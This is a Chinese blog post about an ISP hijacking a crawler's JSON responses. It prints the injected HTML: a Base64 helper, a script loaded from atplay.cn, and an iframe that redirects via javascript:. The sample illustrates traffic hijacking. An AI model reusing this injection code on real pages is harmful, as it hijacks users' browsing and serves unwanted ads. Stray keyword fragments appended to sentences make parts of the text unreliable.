運營商劫持狠起來，連json都改

時間 2019-11-05

標籤運營商劫持起來 json 欄目 JavaScript 简体版

原文原文鏈接

原創：小姐姐味道（微信公衆號ID：xjjdog），歡迎分享，轉載請保留出處。javascript

運營商劫持，是常見的流氓手段，它們老小通吃，連孩子都不放過，常常囂張的在右下角或者網頁頭尾，彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽，很難解釋。php

1、前言

一道經典面試題：當你輸入一個網址後回車，實際會發生什麼？html

那得看輸的啥網址，淘寶剁手、百度傷身、騰訊傷腎……java

2、神祕的返回

那日風和日麗、萬里無雲，延遲退到不足50ms，是個散養爬蟲的好日子~程序員

與往常相同，一通風騷操做，數據便如百川入海般成功落庫。剛想泡杯咖啡，瞧瞧久違的天空，一道綿長的報錯信息就宛如拉稀般潑向屏幕！

草(一種植物)，莫不是被發現了？趕忙看看web

草！(一種強大植物) 。這是個啥？原覺得會返回異常狀態碼，或者錯誤json，再不濟是僞數據，沒想到連數據格式都改了，整了一HTML丟過來？

可這接口，明明都是json。面試

喝口白水想安撫下結果燙了嘴……思前想後。產品光喝酒不吃菜也不能下這需求，再說我這小蚊子不至於拿炮轟吧。json

必定有！——問！——題！微信

暴起撈日誌，查看頻率。大約10道請求有一道異常，因而順手拿到所有HTML代碼。讓咱們欣賞如下，這貨居然手寫base64.架構

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
  </head>
  <script> window["$$$wins_pm"] = { "a": "https://atplay.cn/banner/indexsd.aspx", "m": "http://baidu.com/", "_xus": "YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO", "_xai": "0" }; var xp=null,key="d=123",lo=location.href,ho=false; function cu(u){ var p=u.indexOf("?"); if(p>0) u=u.slice(0,p+1)+key+"&"+u.slice(p+1); else u+="?"+key; return u; } function Base64() { _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; this.encode = function(input) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = _utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64 } else if (isNaN(chr3)) { enc4 = 64 } output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4) } return output }; this.decode = function(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2) } if (enc4 != 64) { output = output + String.fromCharCode(chr3) } } output = _utf8_decode(output); return output }; _utf8_encode = function(string) { string = string.replace(/\r\n/g, "\n"); var utftext = ""; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c) } else if ((c > 127) && (c < 2048)) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128) } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128) } } return utftext }; _utf8_decode = function(utftext) { var string = ""; var i = 0; var c = c1 = c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++ } else if ((c > 191) && (c < 224)) { c2 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); i += 2 } else { c2 = utftext.charCodeAt(i + 1); c3 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); i += 3 } } return string } } window["__BASE64"] = new Base64(); function getURLwithParams() { var url = ""; if ($$$wins_pm.a.indexOf('?') > 0) { url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; } else { url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; } return url; } function goURLm() { var desturl = $$$wins_pm.m; if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1); return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>" }; </script>
  <body style="margin:0;padding:0;">
    <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>-->
    <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script>
    <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;">
    <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto width='100%' height='100%' frameborder='no' onload=''></iframe>
    </div>
</body>
</html>
複製代碼